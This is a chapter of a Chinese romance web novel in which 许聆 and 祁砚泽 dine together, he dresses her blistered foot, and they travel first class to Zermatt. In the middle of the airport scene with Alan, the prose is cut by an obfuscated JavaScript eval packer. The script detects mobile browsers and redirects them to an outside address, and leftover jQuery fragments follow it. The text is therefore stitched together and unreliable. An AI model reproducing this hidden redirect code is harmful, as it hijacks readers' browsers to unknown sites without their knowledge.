对桌的男人慢条斯理地将牛排切下送入口中,举止从容。
丝毫没觉得难吃。
许聆又叉了几盘不同的菜品。
一如既往的难吃。
只有一份小蛋糕味道还行,这是许聆唯一空盘的食物。
祁砚泽把方才的话题捡起来。
“去吗?”
“可以啊,什么时候去?”
“你决定。”
许聆想了下,“后天吧,明天我去街上找一下宠物寄养的地方。对了,我们去玩几天?”
“你想玩几天?”
初赛交稿截止时间是十一月五号,得提前几天回来。
“十一月前回来就行。”
祁砚泽:“机票和酒店的事,交给我。”
“好。”
许聆左手持叉按着面包,右手持刀切下一小块。
心想:挺巧的,自己恰好有瑞士的签证,否则选另一个国家的话不会这么快......
虽然菜都挺难吃的,但是分量不多,慢慢吃,眼前都空盘了,她搁下刀叉。
“吃饱了么?”
对面的男人拿起餐巾不紧不慢擦嘴。
“嗯!”
许聆也拿起餐巾擦了下嘴。
其实只有半饱,但真要再上里面的菜,她估计会当场吐出来。
下楼梯时,许聆眼看这么长的楼梯,又想到自己脚上十一厘米的高跟鞋,不禁心里发怵。
简直像一道天梯。
穿高跟鞋下楼可比上楼难多了,千万不能摔了......
思虑间,祁砚泽已递出自己的胳膊,许聆看了一眼然后挽上。
高跟鞋鞋跟在大理石上敲出冷冽利落的声响,许聆指尖紧扣他的胳膊。
祁砚泽放慢脚步,手臂稳稳托住她的力道,察觉她的紧张,步伐压得更缓。
走完楼梯,回到车里,许聆吊着的一口气总算能呼出。
右脚后跟传来尖锐的痛带着灼热感,车内视线昏暗,她看不清状况,初步判断应该是磨破脚后跟了,许聆调整坐姿让身体重心压在左边,同时右脚踮起离开鞋后跟。
只走了这么点路,就磨破了,果然高跟鞋还是不适合自己。
许聆只盼赶紧到家,脱掉它。
终于,在她的殷切期盼下,车在她的家门前停下。
回家脱鞋刻不容缓,许聆脑子里只有这一个想法,丝毫没注意身旁的人已绕过车头到副驾驶车门,她赶紧解开安全带,推开门,右脚刚伸出车,就看见一双黑色薄地皮鞋。
“我自己可以回去,不用送了。”
对方无言。
许聆抬头,发现他正盯着自己的右脚。
她又低头,高跟鞋被她用前掌勾着,脚后半只裸露在空中,破了大片皮,有的地方还渗着血珠。
“我抱你。”
还没等许聆反应过来,身体腾空而起,她的手臂自然环住祁砚泽的脖颈。
近距离下,她的鼻尖萦绕着他身上清冽的雪松气息,目光落到嘴唇上又慌乱地错开。
贴近的胸膛处,心跳一边沉稳,一边跳得失序。
许聆的脸颊烧起来。
到了大门处,祁砚泽停下来。
“钥匙。”
“啊?钥匙,噢,在包里,我找找。”
包包被她的右手勾住,悬在半空。
许聆就这样被抱着,双手绕过他脖颈,在包里翻找时身体不自觉扭动,幅度极轻。
祁砚泽指尖绷紧,眸色黑沉如墨。
“找到了。”
她插进钥匙孔,一扭,祁砚泽脚踢开门,走到沙发前把许聆放下来。
又到玄关换拖鞋。
他要干嘛?
许聆看着他换完后把那双粉色拖鞋放到自己脚下。
“医药箱在哪?”
许聆随手一指。
祁砚泽去拿的过程中,她快速脱下右边的鞋,发现脚趾外侧也磨破了,只是没脚后跟严重。
拿回医药箱,他拧开碘伏、取出棉签和创可贴,屈膝半蹲。
指尖轻托许聆的脚踝,用棉签沾碘伏,精准轻柔地擦拭伤口。
微凉的触感从脚上传来,许聆盯着祁砚泽。
他眉头微蹙,眼底满是专注。
处理完右脚背,他又脱下许聆左脚的高跟鞋,左脚倒是没有伤口。
许聆心想:这下放心了吧。
“趴下。”
“啊?!趴......趴下?”
“我自己来就好......”
“你趴下,我好帮你。”
他的语气里带着不容置喙的强势,许聆的后半句话还没说出口终究咽了回去。
她磨磨蹭蹭翻身,趴下。
这个姿势......
不知怎的,她忽然想起很久前看的一本古早小说,里面的霸总语气强硬带着上位者绝对的掌控欲。
不过,那位霸总是在床上说的,而他们……
是在沙发上。
碘伏棉签传来冰冷的触感,在受伤的部位轻轻磨蹭。
许聆感到脸臊臊的。
她眼睛一闭,埋进臂弯,耳根通红。
好羞耻。
***
飞机上,许聆怔怔地看着奢华的真皮座椅,脚下是柔软的地毯,简直与上次去瑞士坐的经济舱有云泥之别。
头等舱的每一个座位在隔屏下都是独立私密空间,这里还可以把座椅放倒就是一张可以睡觉的床,而且空气中都弥漫着淡雅的香氛味。
许聆觉得这香味是金钱的味道。
第一次值机不用排队,登机前还可以去专属的贵宾休息室,里面有丰富的餐食,甚至还有淋雨室。
登机时,还有独立的登机通道空姐还会询问自己的饮食习惯。
而且飞机上居然还有免费WiFi,之前许聆去瑞士坐的是经济舱,得自己付费使用WiFi。
下午时,空姐贴心的布置好餐桌,前菜有面包和小食,午餐是牛排,还有甜品水果。
从南城到瑞士要飞将近15个小时,这段时间里,许聆累了就睡,到饭点空姐就会送饭。
祁砚泽说他们要去的是一个叫zermatt小镇的地方,许聆在飞机上上网搜了下。
这个地方在瑞士的东南部,与意大利接壤。
下飞机后,许聆没感到丝毫疲惫,与第一次来瑞士浑身酸痛形成鲜明对比。
取完行李,出航站楼,一个金发碧眼的外国人朝他们热情招手。
祁砚泽:“这是我的朋友,Alan。”
许聆走上前用流利的英语和他打招呼。
男人笑着说:“许聆,你好。”
她诧异,“你会中文?”
“对啊,我很喜欢中国,所以自学了中文,”Alan打了个响指,继续道,“你的英文很流利,我要夸你。”
“谢谢。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16821975|191057||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
Alan勾上他的肩膀,“祁砚泽,真是好久不见啊,终于来我家乡了,这次一定要好好玩玩。”
他带路走到一辆越野车前停下,打开后备箱,帮他们放行李箱。
上车后,他用中文讲了下在游玩攻略,zermatt是著名的“无车”小镇,里面车辆都是电动的,人们靠自行车或者是徒步穿梭在小镇中。
Alan会把他们送到zermatt旁边的Tasch的小镇火车站,然后乘火车前往。
现在是当地时间九点半,风和日丽,许聆很期待接下来的旅途。
一路上光看窗外的风景,竟觉得时间过的飞快,很快就到火车站了。
下车后,拿好行李。
Alan:“我就不上去了,你们有任何需要的尽管找我,我非常乐意帮忙。”
祁砚泽重重拍了拍他的肩膀,“谢了兄弟。”
Alan:“你太客气了。”
和Alan告别,买完票,两人在火车坐下来。
许聆按耐不住心里的好奇,问道:“你和Alan什么时候认识的?你不是第一次来吧。”
“对,六岁来瑞士滑雪认识的他。他当时对中国很感兴趣,后来他来到国内玩,是我招待的他。”
“噢噢,我们等会是直接去滑雪吗?”
祁砚泽轻笑了声,“你不饿的话,我们也可以去滑雪。”
对,现在快中午了,还没吃上饭,一兴奋起来,连这个都忘了。
吃饱了才有力气玩嘛。
许聆不好意思的说:“那我们还是先去吃饭吧。”
怕车程中无聊,祁砚泽说了下今天大致的一个规划。
先去酒店放行李,再去吃午餐,大概两点钟去滑雪。
下车后,就有酒店的工作人员在门口候着,接他们去坐私家小火车,然后上山。
由于酒店海拔高,酒店专门开了一条线,来供顾客上山居住。
许聆看着周围的景色,与她上次暑假来时的不同。
四周是连绵的雪山,皑皑白雪覆在山脉上,在阳光的照射下闪烁着银光,天空湛蓝。
而夏天的瑞士是被绿意浸透的,绿草如茵,湖泊像一块蓝宝石。
此时此刻深呼吸一口,心灵仿佛都要得到净化。
雪山的风过着碎雪的清冽让人沁人心脾。
许聆欣赏着冬日美景,眼睛都冒着星光。
祁砚泽目光凝在她因开心而泛红的脸颊,看着她眼底闪烁的明亮光彩,有那么一瞬间,他似乎觉得许聆又是四年前的她,从来没有变过。
他的唇角勾起一抹极淡的笑,周身的气场都变得柔和许多。
许聆看着大好风光,从包里翻出灵感记录本后本当下想到的元素都画在纸上。
有云杉、雪山、小木屋……
祁砚泽开了两间正对着的房,拿到房卡,许聆推开门。
室内宽敞明亮,阳光透过巨大的落地窗洒进来,从里面可以180度观景。
许聆放下行李,凑近玻璃朝外看。
不远处就是瑞士阿尔卑斯山脉的标志性山峰—马特洪峰。
好一会儿,她才把目光从外面移开,转身看室内的房间。
欣赏了一番,许聆不由得啧舌,太豪横了。
沙发、办公桌还有灯光的布置都有考究。
这一间房估计得要上千元,估计还是大几千。
她长这么大还没住过这么贵的酒店……